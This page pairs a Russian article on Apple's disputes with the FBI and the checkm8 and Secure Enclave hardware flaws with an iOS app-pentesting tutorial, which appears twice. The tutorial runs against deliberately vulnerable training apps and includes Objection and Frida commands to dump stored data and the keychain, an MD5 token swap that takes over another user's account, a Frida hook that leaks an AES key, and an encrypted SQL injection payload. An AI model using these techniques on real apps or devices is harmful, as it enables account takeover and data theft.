Как найти уязвимость в ios

Пользовательские данные не являются разменной монетой. Компания Apple потратила значительные усилия для того, чтобы заслужить себе репутацию, стойко отбиваясь от ФБР и прочих представителей силовых структур, ищущих возможность произвольного сбора данных владельцев iPhone.

В 2016 г. Apple отказалась ослабить защиту iOS для того, чтобы ФБР могла разблокировать iPhone стрелка из Сан-Бернардино. Завладев смартфоном Сайеда Фарука и промахнувшись десять раз с набором четырехзначного PIN кода, правоохранители тем самым заблокировали смартфон. Тогда в ФБР потребовали, чтобы Apple создала специальную ОС, в которой возможно подобрать код безопасности методом перебора…


Поначалу все складывалось не в пользу Apple, окружной суд Соединенных Штатов по Калифорнии встал на сторону силовых ведомств. Apple подала апелляцию, началась волокита, и в итоге заседания судебное разбирательство на этом прекратилось по инициативе ФБР.

В конце концов, федералы добились своего с помощью Cellebrite — частной израильской компании, специализирующейся в цифровой криминалистике, заплатив за это дело более миллиона долларов США. К слову, в смартфоне ничего не нашли.

Странным образом четыре года спустя история повторилась почти точь-в-точь. В январе 2020 г. не абы кто, а Генеральный Прокурор США Уильям Барр попросил компанию помочь следователям получить доступ к содержимому двух iPhone, использованных во время стрельбы в военно-морской авиабазе в Пенсаколе, штат Флорида, в декабре 2019 года. Не удивительно, что из Apple последовал очередной отказ.

Стоит подчеркнуть, что в обоих случаях речь шла не об одноразовой передаче информации со стороны Apple. С этим как раз все в порядке, компания передает метаданные, резервные копии с iCloud при официальных и санкционированных запросах правоохранительных органов. Отказ встречают требования создать и предоставить универсальную отмычку, особую прошивку iOS, позволяющей разблокировать конфискованные смартфоны.

Именно это обстоятельство вызывает наибольшее противодействие руководства Apple и лично CEO Тима Кука, которые резонно полагают, что нет и не может быть доброкачественных бэкдоров, и что комплексная защита своей мобильной платформы бывает лишь первой свежести. Отмычка в хороших руках очень скоро становится отмычкой в руках сомнительных, а возможно, она там будет и с самого первого дня.
Итак, мы теперь знаем, что iOS не имеет специальных лазеек, созданных для силовых структур. Означает ли это, что iPhone неуязвим для проникновения и кражи данных?

BootROM уязвимость checkm8

В конце сентября 2019 г. исследователь информационной безопасности с ником axi0mX опубликовал на Github ресурсе код эксплойта практически для всех устройств производства Apple с чипами версий A5 — A11. Особенность найденной уязвимости состоит в том, что она находится на аппаратном уровне и никакими обновлениями ПО её невозможно устранить, так как она прячется в самом механизме защиты безопасной загрузки BootROM, a. k. a. SecureROM.

Модель загрузки iOS с презентации Apple на WWDC 2016 г.

В момент холодной загрузки первым из read-only памяти запускается SecureROM, причем это самый доверенный код в Application Processor и поэтому он выполняется без каких-либо проверок. В этом кроется причина того, что патчи iOS тут бессильны. И также крайне важно, что SecureROM отвечает за переход устройства в режим восстановления (Device Firmware Update) через интерфейс USB при нажатии специальной комбинации клавиш.

Переход iOS в режим DFU.

Уязвимость Use-after-Free возникает, когда вы ссылаетесь на память после того, как она была освобождена. Это может привести к неприятным последствиям, таким как сбой программы, непредсказуемые значения, или как в данном случае — выполнение стороннего кода.

Для начала, чтобы понять механизм эксплойта, нам нужно понять, как работает системный режим восстановления. При переходе смартфона в режим DFU в момент инициализации выделяется буфер I/O и создается USB-интерфейс для обработки запросов к DFU. Когда установочный пакет 0x21, 1 поступает по USB-интерфейсу на этапе USB Control Transfer, код DFU после определения адреса и размера блока копирует данные буфера I/O в загрузочную область памяти.

Структура USB Control Transfer Setup Packet.

Соединение по USB остается активным до тех пор, пока длится загрузка образа прошивки, после чего оно завершается в штатном режиме. Однако существует и нештатный сценарий выхода из режима DFU, для этого нужно отправить сигнал DFU abort по коду bmRequestType=0x21, bRequest=4. При этом сохраняется глобальный контекст указателя на буфер данных и размер блока, тем самым возникает классическая ситуация уязвимости Use-after-Free.

Checkm8 по существу эксплуатирует уязвимость Use-after-Free в процессе DFU, чтобы разрешить выполнение произвольного кода. Этот процесс состоит из нескольких этапов, но один из самых важных известен, как фэн-шуй кучи, который тасует кучу специальным образом, чтобы облегчить эксплуатацию уязвимости.

Запуск команды ./ipwndfu -p на MacOS.

В практическом плане все сводится к переводу iPhone в режим DFU и запуску простой команды ./ipwndfu -p. Результат действия Python скрипта состоит в снятии блокирования с несанкционированным доступом ко всей файловой системе смартфона. Это дает возможность устанавливать ПО для iOS из сторонних источников. Так злоумышленники и правоохранители могут получить доступ ко всему содержимому украденного или изъятого смартфона.

Хорошая новость состоит в том, что для взлома и установки стороннего ПО, требуется физический доступ к телефону от Apple и кроме того, после перезагрузки все вернется на место и iPhone будет в безопасности — это т. н. привязанный джейлбрейк. Если у вас на границе отобрали смартфон и затем вернули его, лучше лишний раз не испытывать судьбу и перезагрузиться.

iCloud и почти защищенные бэкапы

Выше уже было сказано, что в последнем противостоянии FBI с Apple из-за перестрелки в Пенсаколе, компания отдала в руки правоохранителей, резервные копии iCloud с телефонов подозреваемых. Тот факт, что в ФБР не стали воротить носом говорит о том, что эти данные, в отличие от заблокированного iPhone, были вполне пригодны для исследования.

Наивно полагать, что это единичный случай. Только за первое полугодие 2019 г. следователи 1568 раз получали доступ к почти 6000 полновесных резервных копий iCloud пользователей яблочных смартфонов. В 90% обращений из гос. структур компания предоставляла некоторые данные из iCloud, а таких обращений всего было около 18 тыс. за тот же период.

Это стало возможным после того, как Apple без лишнего шума два года назад свернула проект по обеспечению сквозного шифрования пользовательских резервных копий iCloud. Есть свидетельства в пользу того, что это было сделано после давления со стороны ФБР. Впрочем, есть также основания полагать, что отказ мотивирован желанием избежать ситуации, когда пользователи из-за забытого пароля не могут получить доступ к собственным данным iCloud.

В результате компромисса с силовыми структурами и пользователями возникла мешанина, в которой не очевидно, какие данные в iCloud надежно сокрыты, а какие — так себе. По крайней мере, можно сказать, что сквозное шифрование применяется для следующих категорий.

  • Домашние данные.
  • Медицинские данные.
  • Связка ключей iCloud (включая сохраненные учетные записи и пароли).
  • Платежные данные.
  • Накопленный словарный запас QuickType Keyboard (необходима iOS v.11).
  • Screen Time.
  • Данные Siri.
  • Пароли Wi-Fi.

Все же остальное, включая Messages, возможно, могут прочитать сотрудники Apple и компетентные органы.

Новая уязвимость на аппаратном уровне

Китайская команда разработчиков Pangu Team неделю назад сообщила о найденной неустранимой неисправности, на этот раз в чипе SEP (Secure Enclave Processor). В зоне риска находятся все устройства iPhone процессорах А7-А11.

SEP хранит ключевую, в буквальном смысле слова, информацию. К ним относятся криптографические функции, ключи аутентификации, биометрические данные и профиль Apple Pay. Он делит часть оперативной памяти с Application Processor, но другая ее часть (известная, как TZ0) зашифрована.

Последовательность загрузки SEP.

Сам SEP представляет собой стираемое 4MB процессорное ядро AKF (вероятно, Apple Kingfisher), патент № 20130308838. Используемая технология аналогична ARM TrustZone / SecurCore, но в отличие от нее содержит проприетарный код для ядер Apple KF в целом и SEP в частности. Он также отвечает за генерацию ключей UID на А9 и более новых чипах, для защиты пользовательских данных в статике.

SEP имеет собственный загрузочный ROM и он так же, как и SecureROM / BootROM защищен от записи. То есть уязвимость в SEPROM будет иметь такие же неприятные и неустранимые последствия. Комбинируя дыру в SEPROM с эксплойтом checkm8, о котором уже выше было сказано, можно изменить регистр отображения I/O для обхода защиты изоляции памяти. В практическом плане это дает возможность злоумышленникам заблокировать телефон без возможности его разблокировать.

Хакеры Pangu продемонстрировали, что они могут использовать ошибку в контроллере памяти, управляющем содержимым регистра TZ0. Всех деталей и исходного кода они не стали раскрывать, надеясь продать свою находку компании Apple.

Известный уже нам исследователь ИБ axi0mX написал в Твиттере, что уязвимостью в SEPROM можно воспользоваться лишь при физическом доступе к смартфону, как и в случае с checkm8. Точнее сама возможность манипуляций с содержимым регистра TZ0 зависит от наличия дыры в SecureROM / BootROM, так как после штатной загрузки iPhone изменить значение регистра TZ0уже нельзя. Новые модели iPhone с SoC A12/A13 не подвержены новой уязвимости.

Использованные материалы

  • The FBI Wanted a Back Door to the iPhone. Tim Cook Said No
  • Технический анализ эксплойта checkm8
  • Шах и мат! Как устроен нашумевший эксплоит checkm8 и как им воспользоваться
  • Demystifying the Secure Enclave Processor
  • Team Pangu demonstrates unpatchable Secure Enclave Processor (SEP) chip vulnerability in iOS

Время на прочтение
8 мин

Количество просмотров 3.3K

Продолжаем цикл статей про аудит iOS-приложений. В этой статье расскажем непосредственно о самом анализе и как пользоваться инструментами из прошлой статьи. Мы хотим показать начинающим исследователям безопасности мобильных приложений, где искать баги, как они могут выглядеть и от чего можно отталкиваться при самостоятельном и более углубленном исследовании мобильных приложений. Для демонстрации мы будем использовать специальные мобильные приложения (SecureStorev1 и SecureStorev2), в которых содержатся некоторые базовые уязвимости.

Приложения были взяты из курса Hacking and Pentesting iOS Applications, который можно назвать свежим (последнее обновление от 07.2021) относительно альтернативных вариантов и содержащим большое количество примеров уязвимостей.

Мы обсудим:

  1. Как подготовить Attack Surface исследуемого приложения.

  2. Какие уязвимости можно найти при анализе.

Подготовка Attack Surface

Под “Attack Surface” понимается область исследования приложения.

По соображениям безопасности у каждого приложения в iOS есть своя песочница, которой ограничены его возможности в файловой системе. В песочнице содержатся все файлы и данные, которое использует приложение. Так как одной из самых распространенных уязвимостей является “Небезопасное хранение данных”, то нам необходимо понимать, где же искать эти данные и как попасть в песочницу приложения.

Все установленные приложения попадают в папку /var/mobile/Containers/Data/Application/ внутри файловой системы. Соответственно, полный путь до данных, с которыми работает приложение внутри песочницы, выглядит следующим образом:

/var/mobile/Containers/Data/Application/<Application ID>

Кроме контейнера с данными, важно обратить внимание на Bundle приложения. В Bundle находятся исполняемый код, фреймворки, библиотеки, плагины и другие ресурсы, которые использует приложение. Полный путь до Bundle выглядит следующим образом:

/private/var/containers/Bundle/Application/<Bundle ID>

Узнать Application ID, Bundle ID и полные пути до контейнеров можно с помощью Objection (console way) или Grapefruit (GUI way), которые помогают подготовить Attack Surface и в дальнейшем исследовать приложение более комфортным образом.

Приступаем к исследованию и подключаем наше iOS-устройство по USB.

Objection

Сначала необходимо узнать Identifier исследуемого приложения (SecureStorev1). Сделать это можно с помощью команды frida-ps:

$ frida-ps -Uia

В выводе видим, что Indentifier – cst.securestorev1

Identifier исследуемого приложения

Identifier исследуемого приложения

Подключаемся через Objection:

$ objection -g 'cst.securestorev1' explore

И смотрим контейнеры приложения:

cst.securestorev1 on (iPhone: 14.7.1) [usb] # env

Objection. Контейнеры приложения

Objection. Контейнеры приложения

Grapefruit

Запускаем Grapefruit и переходим в веб-интерфейс (по умолчанию поднимается на http://127.0.0.1:31337):

$ igf

В веб-интерфейсе выбираем наш девайс и исследуемое приложение:

Grapefruit. Панель

Grapefruit. Панель

Попадаем на страницу с данными о приложении:

Grapefruit. Securestorev1 Basic

Grapefruit. Securestorev1 Basic

Из увиденного делаем вывод, что поиск интересующих нас данных будет производиться в следующих директориях:

  • /private/var/containers/Bundle/Application/F4C38F12-B7C2-401B-A483-FBF7451A8FD3

  • /var/mobile/Containers/Data/Application/03BB8F81-5684-438C-8021-CD40A5720F19

При дальнейшем исследовании можно использовать как Objection, так и Grapefruit или просто командную строку на iOS-устройстве после подключения по ssh. Так как Grapefruit и так имеет интуитивно понятный интерфейс, то в статье будем пользоваться Objection для лучшего понимания его возможностей и командой строкой iOS-устройства.

Ищем уязвимости

Небезопасное хранение данных

Как и упоминалось выше, “Небезопасное хранение данных” – одна из самых распространенных уязвимостей. Заключается она в том, что разработчики хранят критичные пользовательские данные в контейнерах приложений в открытом виде.

Для продуктивного поиска в Data Storage сначала можно сделать дамп директорий
из Attack Surface сразу же после установки приложения. Потом, пользуясь
функционалом приложения, сравниваем, что изменилось в файлах Data Storage либо в лайв-режиме, либо снова через дамп

Найти эти данные обычно можно в следующих местах:

.plist-файлы

Файлы plist – файлы с XML-структурой, содержащие пары ключ-значение. Это
способ хранения постоянных данных, но иногда разработчики кладут туда
конфиденциальную информацию, чего делать нельзя.

Можно найти в директориях Attack Surface с помощью find:

iPhone $ find . -name '*.plist'

Просматривать .plist-файлы можно либо через plutil в командной строке, либо через Objection:

cst.securestorev1 on (iPhone: 14.7.1) [usb] # ios plist cat <filename>

Анализируем файлы нашего приложения и находим auth_token пользователя в открытом виде внутри userdetails.plist:

auth_token в userdetails.plist

auth_token в userdetails.plist

Файлы локальной БД

Локальная база данных – еще одно место, где часто встречаются пользовательские данные в открытом виде. Самые популярные варианты реализации локальной БД – это SQLite или Realm, файлы для которых можно найти в директориях Attack Surface:

$ find . ( -name "*.db" -o -name "*.realm" )

В директории из примера выше можно увидеть файл bankdetails.db. Objection позволяет удобно просматривать файлы БД с помощью команды sqlite connect:

cst.securestorev1 on (iPhone: 14.7.1) [usb] # sqlite connect bankdetails.db

После подключения к файлу БД можно вызвать справку через ? для ознакомления с возможностями исследования файла:

Делаем листинг доступных таблиц и забираем данные пользователя в открытом виде:

SQLite @ bankdetails.db > .tables

SQLite @ bankdetails.db > select * from bankdetails

Кэш

Отдельно стоит упомянуть про кэширование сетевых запросов в iOS-приложениях, обычно такая информация находится по пути:

/var/mobile/Containers/Data/Application/<Application ID>/Library/Caches/<Application Identifier>

Кэшируются такие запросы также внутри локальной БД и, к сожалению, часто в открытом виде.

Так это выглядит в нашем приложении:

Коннектимся к файлу Caches.db, который находится в директории /var/mobile/Containers/Data/Application/03BB8F81-5684-438C-8021-CD40A5720F19/Library/Caches/cst.securestorev1

cst.securestorev1 on (iPhone: 14.7.1) [usb] # sqlite connect Cache.db

Делаем листинг таблиц и забираем данные:

SQLite @ bankdetails.db > .tables

SQLite @ bankdetails.db > select * from cfurl_cache_receiver_data

SQLite @ bankdetails.db > select * from cfurl_cache_response

NSUserDefaults и Keychain

И, конечно же, не забываем про проверку NSUserDefaults и Keychain.

Очень частой ошибкой при разработке мобильных приложений является хранение критичных пользовательских данных в NSUserDefaults. Проверить это через Objection можно с помощью следующей команды:

# ios nsuserdefaults get

Если в выводе видны, например, аутентификационные токены или другая важная пользовательская информация, то это считается уязвимостью. Все подобные данные должны храниться в Keychain, но стоит отметить, что не в открытом виде, а в зашифрованном. Проверить содержимое Keychain через Objection можно так:

# ios keychain dump --json <output_filename>

Локальная аутентификация

Если процесс аутентификации в приложении завязан на внутренних проверках – это плохое решение, т.к. обмануть такие проверки не составляет особого труда.

Вспомним про файл userdetails.plist, auth_token в нем – это строка в MD5. Предположим, что там зашит просто логин пользователя (securestore) и проверим это:

$ md5 -s securestore

MD5 ("securestore") = 212174768840da1c6a1604c8b485a0ee

Предположение подтвердилось, а значит, мы можем попробовать изменить этот файл и положить туда логин другого зарегистрированного пользователя (attacker).

Objection позволяет скачивать файлы с iOS-устройства:

cst.securestorev1 on (iPhone: 14.7.1) [usb] # file download userdetails.plist

Получаем значение attacker в MD5 и помещаем его в наш файл:

$ md5 -s attacker

MD5 ("attacker") = 3f858cf8cfd59f25010e71b6b5671428

Через Objection загружаем файл обратно на iOS-устройство:

cst.securestorev1 on (iPhone: 14.7.1) [usb] # file upload userdetails.plist

Полностью закрываем приложение, открываем его снова, и видим, что мы получили доступ к аккаунту другого пользователя без знания пароля:

Server-Side проверки

Это один из самых больших блоков проверок, который по сути является тестированием серверного API. Для мобильной версии могут быть отдельные “ручки”, в которых либо
могут найтись баги, которых нет в веб-версии, либо может быть необычная
реализация логики, которой можно воспользоваться для чейна какой-нибудь
цепочки.

Так как подробное описание этого блока выходит за рамки одной статьи, то просто рассмотрим одну из уязвимостей, которая пригодится нам в будущем как отправная точка для раскрутки более интересной уязвимости.

SQL Injection

Снова вернемся к auth_token’у. Он используется при запросе от клиента к серверу для получения данных о счете:

Эксплуатируем SQL Injection и получаем данные пользователя attacker:

А теперь посмотрим, как та же самая уязвимость может выглядеть в более сложном варианте. Для этого будем анализировать приложение SecureStorev2 и рассмотрим такой же флоу общения клиента с сервером, а также узнаем, как можно работать с приложением с помощью Frida.

SQL Injection via End-to-end encryption

Теперь при получении данных о счете в том же запросе token передается в зашифрованном виде:

С помощью frida-trace находим все методы всех классов, которые связаны с шифрованием внутри приложения. Для этого используем выражение с вайлдкардами:

$ frida-trace -U -m "*[* *crypt*]" -n SecureStorev2

Нашлось 388 методов, также frida-trace создала скрипты под каждый из методов в папке handlers:

После обновления деталей счета пользователя securestore видим в выводе активного окна frida-trace, какие методы использовались:

Разберемся, что происходит внутри метода AES256EncryptedDataUsingKey класса NSData с помощью скрипта для frida и сдампим ключ шифрования.

Скрипт для frida будет выглядеть следующим образом:

if (ObjC.available) {
 
try {
 
var className = "NSData";
var funcName = "- AES256EncryptedDataUsingKey:error:";
var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
 
Interceptor.attach(hook.implementation, {
 
    onEnter: function(args)
    {
    console.log("n[+] Class Name: " + className);
    console.log("[+] Method Name: " + funcName);
    var enc_key = new ObjC.Object(args[2]); // <-- переменные метода в Frida начинаются со второго индекса
    var buf = enc_key.bytes().readByteArray(enc_key.length());
    console.log("[+] Encryption Key: " + enc_key.toString());
    console.log("[+] Encryption Key dump: " + hexdump(buf, { ansi: true }));
    },
 
    onLeave: function(returnvalue)
    {
    console.log('Return Value: ');
    }
 
    });
 
}
catch(error)
{
 console.log("[!] Exception: " + error.message);
}
}
 
else {
 
console.log("Objective-C Runtime is not available!");
 
}

Заинжектимся с написанным скриптом в наше приложение:

$ frida -U SecureStorev2 -l AES256EncryptedDataUsingKey.js

И после обновления данных о банковском счете увидим ключ шифрования:

В первой версии приложения в качестве токена передавалась MD5-строка с логином пользователя. Проверим, правильно ли происходит ее шифрование со сдампленным ключом с помощью скрипта на python:

import Crypto
import Crypto.Random
from Crypto.Cipher import AES
import base64
import sys
 
 
def pad_data(data):
    if len(data) % 16 == 0:
        return data
    databytes = bytearray(data)
    padding_required = 15 - (len(databytes) % 16)
    databytes.extend(b'x80')
    databytes.extend(b'x00' * padding_required)
    return bytes(databytes)
 
def unpad_data(data):
    if not data:
        return data
 
    data = data.rstrip(b'x00')
    if data[-1] == 128:
        return data[:-1]
    else:
        return data
 
def generate_aes_key():
    rnd = '35e685a1411a605852ec1045ef7f16f10e68dc18bdc1f13fa240a6996edb306c'
    rnd = rnd.decode('hex')
    return rnd
 
def encrypt(key, iv, data):
    aes = AES.new(key, AES.MODE_CBC, iv)
    data = pad_data(data)
    return aes.encrypt(data)
 
def decrypt(key, iv, data):
    data = data.decode('base64')
    aes = AES.new(key, AES.MODE_CBC, iv)
    data = aes.decrypt(data)
    return unpad_data(data)
 
def test_crypto (input):
    key = generate_aes_key()
    iv = '00000000000000000000000000000000'
    iv = iv.decode('hex')
    encoded = encrypt(key, iv, input)
    return encoded
 
if __name__ == '__main__':
    encrypted = test_crypto(sys.argv[1])
    encrypted = encrypted.encode('base64')
    print encrypted
$ python aesencrypt.py 212174768840da1c6a1604c8b485a0ee
wk3eQ9tu9LM+eq3I0pzst1I191hWOa9f+dpmRBQ6kCU=

Полученное значение совпадает со значением токена в запросе. Значит, теперь мы можем зашифровать наш SQL Injection payload и подставить его в запрос:

$ python aesencrypt.py "securestore' OR '1'='1"
R4Dc8atsDx7T5c488eIedqXpw76hcUtc/d4Euvrre/Y=


В этой статье мы показали, как подготовить Attack Surface исследуемого приложения, познакомились с базовыми уязвимостями, которые могут встречаться в iOS-приложениях, и рассказали, как пользоваться различными инструментами во время анализа. Надеемся, что данный материал будет полезен тем, кто начинает свой путь в исследовании мобильных приложений и станет хорошей отправной точкой для дальнейшего прокачивания скиллов в этой области 🙂

Продолжаем цикл статей про аудит iOS-приложений. В этой статье расскажем непосредственно о самом анализе и как пользоваться инструментами из прошлой статьи. Мы хотим показать начинающим исследователям безопасности мобильных приложений, где искать баги, как они могут выглядеть и от чего можно отталкиваться при самостоятельном и более углубленном исследовании мобильных приложений. Для демонстрации мы будем использовать специальные мобильные приложения (SecureStorev1 и SecureStorev2), в которых содержатся некоторые базовые уязвимости.

Приложения были взяты из курса Hacking and Pentesting iOS Applications, который можно назвать свежим (последнее обновление от 07.2021) относительно альтернативных вариантов и содержащим большое количество примеров уязвимостей.

Мы обсудим:

  1. Как подготовить Attack Surface исследуемого приложения.
  2. Какие уязвимости можно найти при анализе.

Подготовка Attack Surface

Под «Attack Surface» понимается область исследования приложения.

По соображениям безопасности у каждого приложения в iOS есть своя песочница, которой ограничены его возможности в файловой системе. В песочнице содержатся все файлы и данные, которое использует приложение. Так как одной из самых распространенных уязвимостей является «Небезопасное хранение данных», то нам необходимо понимать, где же искать эти данные и как попасть в песочницу приложения.

Все установленные приложения попадают в папку /var/mobile/Containers/Data/Application/ внутри файловой системы. Соответственно, полный путь до данных, с которыми работает приложение внутри песочницы, выглядит следующим образом:

/var/mobile/Containers/Data/Application/<Application ID>

Кроме контейнера с данными, важно обратить внимание на Bundle приложения. В Bundle находятся исполняемый код, фреймворки, библиотеки, плагины и другие ресурсы, которые использует приложение. Полный путь до Bundle выглядит следующим образом:

/private/var/containers/Bundle/Application/<Bundle ID>

Узнать Application ID, Bundle ID и полные пути до контейнеров можно с помощью Objection (console way) или Grapefruit (GUI way), которые помогают подготовить Attack Surface и в дальнейшем исследовать приложение более комфортным образом.

Приступаем к исследованию и подключаем наше iOS-устройство по USB.

Objection

Сначала необходимо узнать Identifier исследуемого приложения (SecureStorev1). Сделать это можно с помощью команды frida-ps:

$ frida-ps -Uia

В выводе видим, что Indentifier — cst.securestorev1

Анализ защищенности iOS-приложений — Digital Security

Identifier исследуемого приложения

Подключаемся через Objection:

$ objection -g 'cst.securestorev1' explore

И смотрим контейнеры приложения:

cst.securestorev1 on (iPhone: 14.7.1) [usb] # env

Анализ защищенности iOS-приложений — Digital Security

Objection. Контейнеры приложения

Grapefruit

Запускаем Grapefruit и переходим в веб-интерфейс (по умолчанию поднимается на http://127.0.0.1:31337):

$ igf

В веб-интерфейсе выбираем наш девайс и исследуемое приложение:

Попадаем на страницу с данными о приложении:

Из увиденного делаем вывод, что поиск интересующих нас данных будет производиться в следующих директориях:

  • /private/var/containers/Bundle/Application/F4C38F12-B7C2-401B-A483-FBF7451A8FD3
  • /var/mobile/Containers/Data/Application/03BB8F81-5684-438C-8021-CD40A5720F19

При дальнейшем исследовании можно использовать как Objection, так и Grapefruit или просто командную строку на iOS-устройстве после подключения по ssh. Так как Grapefruit и так имеет интуитивно понятный интерфейс, то в статье будем пользоваться Objection для лучшего понимания его возможностей и командой строкой iOS-устройства.

Ищем уязвимости

Небезопасное хранение данных

Как и упоминалось выше, «Небезопасное хранение данных» – одна из самых распространенных уязвимостей. Заключается она в том, что разработчики хранят критичные пользовательские данные в контейнерах приложений в открытом виде.

Для продуктивного поиска в Data Storage сначала можно сделать дамп директорий
из Attack Surface сразу же после установки приложения. Потом, пользуясь
функционалом приложения, сравниваем, что изменилось в файлах Data Storage либо в лайв-режиме, либо снова через дамп

Найти эти данные обычно можно в следующих местах:

.plist-файлы

Файлы plist – файлы с XML-структурой, содержащие пары ключ-значение. Это
способ хранения постоянных данных, но иногда разработчики кладут туда
конфиденциальную информацию, чего делать нельзя.

Можно найти в директориях Attack Surface с помощью find:

iPhone $ find . -name '*.plist'

Просматривать .plist-файлы можно либо через plutil в командной строке, либо через Objection:

cst.securestorev1 on (iPhone: 14.7.1) [usb] # ios plist cat <filename>

Анализируем файлы нашего приложения и находим auth_token пользователя в открытом виде внутри userdetails.plist:

Файлы локальной БД

Локальная база данных – еще одно место, где часто встречаются пользовательские данные в открытом виде. Самые популярные варианты реализации локальной БД – это SQLite или Realm, файлы для которых можно найти в директориях Attack Surface:

$ find . ( -name "*.db" -o -name "*.realm" )

В директории из примера выше можно увидеть файл bankdetails.db. Objection позволяет удобно просматривать файлы БД с помощью команды sqlite connect:

cst.securestorev1 on (iPhone: 14.7.1) [usb] # sqlite connect bankdetails.db

После подключения к файлу БД можно вызвать справку через ? для ознакомления с возможностями исследования файла:

Делаем листинг доступных таблиц и забираем данные пользователя в открытом виде:

SQLite @ bankdetails.db > .tables

SQLite @ bankdetails.db > select * from bankdetails

Кэш

Отдельно стоит упомянуть про кэширование сетевых запросов в iOS-приложениях, обычно такая информация находится по пути:

/var/mobile/Containers/Data/Application/<Application ID>/Library/Caches/<Application Identifier>

Кэшируются такие запросы также внутри локальной БД и, к сожалению, часто в открытом виде.

Так это выглядит в нашем приложении:

Коннектимся к файлу Caches.db, который находится в директории /var/mobile/Containers/Data/Application/03BB8F81-5684-438C-8021-CD40A5720F19/Library/Caches/cst.securestorev1

cst.securestorev1 on (iPhone: 14.7.1) [usb] # sqlite connect Cache.db

Делаем листинг таблиц и забираем данные:

SQLite @ bankdetails.db > .tables

SQLite @ bankdetails.db > select * from cfurl_cache_receiver_data

SQLite @ bankdetails.db > select * from cfurl_cache_response

NSUserDefaults и Keychain

И, конечно же, не забываем про проверку NSUserDefaults и Keychain.

Очень частой ошибкой при разработке мобильных приложений является хранение критичных пользовательских данных в NSUserDefaults. Проверить это через Objection можно с помощью следующей команды:

# ios nsuserdefaults get

Если в выводе видны, например, аутентификационные токены или другая важная пользовательская информация, то это считается уязвимостью. Все подобные данные должны храниться в Keychain, но стоит отметить, что не в открытом виде, а в зашифрованном. Проверить содержимое Keychain через Objection можно так:

# ios keychain dump --json <output_filename>

Локальная аутентификация

Если процесс аутентификации в приложении завязан на внутренних проверках – это плохое решение, т.к. обмануть такие проверки не составляет особого труда.

Вспомним про файл userdetails.plist, auth_token в нем – это строка в MD5. Предположим, что там зашит просто логин пользователя (securestore) и проверим это:

$ md5 -s securestore

MD5 ("securestore") = 212174768840da1c6a1604c8b485a0ee

Предположение подтвердилось, а значит, мы можем попробовать изменить этот файл и положить туда логин другого зарегистрированного пользователя (attacker).

Objection позволяет скачивать файлы с iOS-устройства:

cst.securestorev1 on (iPhone: 14.7.1) [usb] # file download userdetails.plist

Получаем значение attacker в MD5 и помещаем его в наш файл:

$ md5 -s attacker

MD5 ("attacker") = 3f858cf8cfd59f25010e71b6b5671428

Через Objection загружаем файл обратно на iOS-устройство:

cst.securestorev1 on (iPhone: 14.7.1) [usb] # file upload userdetails.plist

Полностью закрываем приложение, открываем его снова, и видим, что мы получили доступ к аккаунту другого пользователя без знания пароля:

Server-Side проверки

Это один из самых больших блоков проверок, который по сути является тестированием серверного API. Для мобильной версии могут быть отдельные «ручки», в которых либо
могут найтись баги, которых нет в веб-версии, либо может быть необычная
реализация логики, которой можно воспользоваться для чейна какой-нибудь
цепочки.

Так как подробное описание этого блока выходит за рамки одной статьи, то просто рассмотрим одну из уязвимостей, которая пригодится нам в будущем как отправная точка для раскрутки более интересной уязвимости.

SQL Injection

Снова вернемся к auth_token’у. Он используется при запросе от клиента к серверу для получения данных о счете:

Эксплуатируем SQL Injection и получаем данные пользователя attacker:

А теперь посмотрим, как та же самая уязвимость может выглядеть в более сложном варианте. Для этого будем анализировать приложение SecureStorev2 и рассмотрим такой же флоу общения клиента с сервером, а также узнаем, как можно работать с приложением с помощью Frida.

SQL Injection via End-to-end encryption

Теперь при получении данных о счете в том же запросе token передается в зашифрованном виде:

С помощью frida-trace находим все методы всех классов, которые связаны с шифрованием внутри приложения. Для этого используем выражение с вайлдкардами:

$ frida-trace -U -m "*[* *crypt*]" -n SecureStorev2

Нашлось 388 методов, также frida-trace создала скрипты под каждый из методов в папке handlers:

После обновления деталей счета пользователя securestore видим в выводе активного окна frida-trace, какие методы использовались:

Разберемся, что происходит внутри метода AES256EncryptedDataUsingKey класса NSData с помощью скрипта для frida и сдампим ключ шифрования.

Скрипт для frida будет выглядеть следующим образом:



if (ObjC.available) {
 
try {
 
var className = "NSData";
var funcName = "- AES256EncryptedDataUsingKey:error:";
var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
 
Interceptor.attach(hook.implementation, {
 
    onEnter: function(args)
    {
    console.log("n[+] Class Name: " + className);
    console.log("[+] Method Name: " + funcName);
    var enc_key = new ObjC.Object(args[2]); // <-- переменные метода в Frida начинаются со второго индекса
    var buf = enc_key.bytes().readByteArray(enc_key.length());
    console.log("[+] Encryption Key: " + enc_key.toString());
    console.log("[+] Encryption Key dump: " + hexdump(buf, { ansi: true }));
    },
 
    onLeave: function(returnvalue)
    {
    console.log('Return Value: ');
    }
 
    });
 
}
catch(error)
{
 console.log("[!] Exception: " + error.message);
}
}
 
else {
 
console.log("Objective-C Runtime is not available!");
 
}

Заинжектимся с написанным скриптом в наше приложение:

$ frida -U SecureStorev2 -l AES256EncryptedDataUsingKey.js

И после обновления данных о банковском счете увидим ключ шифрования:

В первой версии приложения в качестве токена передавалась MD5-строка с логином пользователя. Проверим, правильно ли происходит ее шифрование со сдампленным ключом с помощью скрипта на python:



import Crypto
import Crypto.Random
from Crypto.Cipher import AES
import base64
import sys
 
 
def pad_data(data):
    if len(data) % 16 == 0:
        return data
    databytes = bytearray(data)
    padding_required = 15 - (len(databytes) % 16)
    databytes.extend(b'x80')
    databytes.extend(b'x00' * padding_required)
    return bytes(databytes)
 
def unpad_data(data):
    if not data:
        return data
 
    data = data.rstrip(b'x00')
    if data[-1] == 128:
        return data[:-1]
    else:
        return data
 
def generate_aes_key():
    rnd = '35e685a1411a605852ec1045ef7f16f10e68dc18bdc1f13fa240a6996edb306c'
    rnd = rnd.decode('hex')
    return rnd
 
def encrypt(key, iv, data):
    aes = AES.new(key, AES.MODE_CBC, iv)
    data = pad_data(data)
    return aes.encrypt(data)
 
def decrypt(key, iv, data):
    data = data.decode('base64')
    aes = AES.new(key, AES.MODE_CBC, iv)
    data = aes.decrypt(data)
    return unpad_data(data)
 
def test_crypto (input):
    key = generate_aes_key()
    iv = '00000000000000000000000000000000'
    iv = iv.decode('hex')
    encoded = encrypt(key, iv, input)
    return encoded
 
if __name__ == '__main__':
    encrypted = test_crypto(sys.argv[1])
    encrypted = encrypted.encode('base64')
    print encrypted

 



$ python aesencrypt.py 212174768840da1c6a1604c8b485a0ee
wk3eQ9tu9LM+eq3I0pzst1I191hWOa9f+dpmRBQ6kCU=


